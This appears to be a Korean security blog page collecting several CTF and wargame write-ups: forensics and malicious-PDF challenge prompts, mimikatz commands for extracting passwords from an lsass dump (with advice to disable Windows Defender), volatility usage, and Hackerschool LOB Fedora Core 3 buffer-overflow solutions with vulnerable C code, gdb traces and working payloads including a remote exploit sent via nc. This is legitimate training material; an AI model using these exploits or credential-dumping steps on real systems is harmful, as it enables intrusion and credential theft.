M4ndU의 만두만두한 블로그

경찰청으로 부터 연쇄 테러 용의자로 부터 압수한 USB 이미지 분석을 의뢰 받았다.

최초 분석을 신입 직원에게 맡겼으나 Hex Editor로 여기 저기 둘러 보다 실수로 특정 부분이 손상되고 이미지가 인식되지 않는다.

당신은 포렌식 전문가의 자존심을 걸고 이미지를 살려 내고 다음 테러를 예방하는데 기여를 해야 한다.

1. 다음 테러 계획이 들어있는 문서의 수정 일시는? (UTC+9)

2. 다음 테러 장소는?

인증키 형식 : lowercase(MD5(YYYY-MM-DD_HH:MM:SS_장소)

예) lowercase(MD5(2016-03-28_13:00:00_Pink Lake)

* 안내 : 본 PDF 파일은 PC에 유해한 작업을 하지 않습니다. 단순 문제 풀이용입니다.

악성코드가 첨부된 PDF를 분석하여 Flag를 찾으세요.

인증키 형식 : lowercase(MD5(Flag))

코드 하단에 base64 인코딩 문자열이 있다. [따라하지 마세요!]

이 문자열을 가져다가 크롬 콘솔에 갖다 붙이고,

연결된 문자열을 가져다가 디코딩 사이트에서 디코딩을 돌렸다.

계속 하다보면 문자열이 줄어들고 있음을 알 수 있다.

...

...

으아아ㅏ아아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

다시 풀어야 겠다...

다운로드 링크 : https://github.com/gentilkiwi/mimikatz/releases

(그냥 다운로드 받으면 바이러스 있다고 막아버린다. 윈도우 디펜더랑 이것저것 다 꺼놔야 한다.)

sekurlsa::minidump lsass.DMP

sekurlsa::logonpasswords

Some errors:

• ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B)
  You try to open minidump from a Windows NT of another major version (NT5 vs NT6).
• ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B)
  You try to open minidump from a Windows NT of another architecture (x86 vs x64).
• ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
  The minidump file is not found (check path).
• https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa

volatility 설치방법이랑 사용법은 다음 링크를 참조하자. http://mandu-mandu.tistory.com/145

vol.py -f cmd imageinfo

vol.py -f cmd --profile=Win7SP1x86 cmdscan

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.

ID | dark_eyes

PW | because of you

으로 로그인합니다.

를 이용해  어떤 파일과 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합니다.

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/

#include <stdio.h>

int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];

        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);

        // give me a food

        fgets(temp, 1024, stdin);

        // save sfp

        memcpy(saved_sfp, buffer+264, 4);

        // overflow!!

        strcpy(buffer, temp);

        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);

        printf("%s\n", buffer);

}

(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.

ID | iron_golem

PW | blood on the fedora

으로 로그인합니다.

를 이용해  어떤 파일과 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합니다.

[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/

int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // save sfp

        memcpy(saved_sfp, buffer+264, 4);

        // overflow!!

        strcpy(buffer, argv[1]);

        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);

        printf("%s\n", buffer);

}

(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault

(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬

Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000

0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.

ID | gate

PW | gate

으로 로그인합니다.

를 이용해  어떤 파일과 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합니다.

[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/

int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X

[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.

낮은 주소

buffer[256]

dummy[8]

SFP[4]

RET[4]

높은 주소

[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:

Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1

[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>

int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}

[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c

dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$

페도라 코어 환경 요약

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship_2round&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=4

다운로드 주소

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship_2round&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=47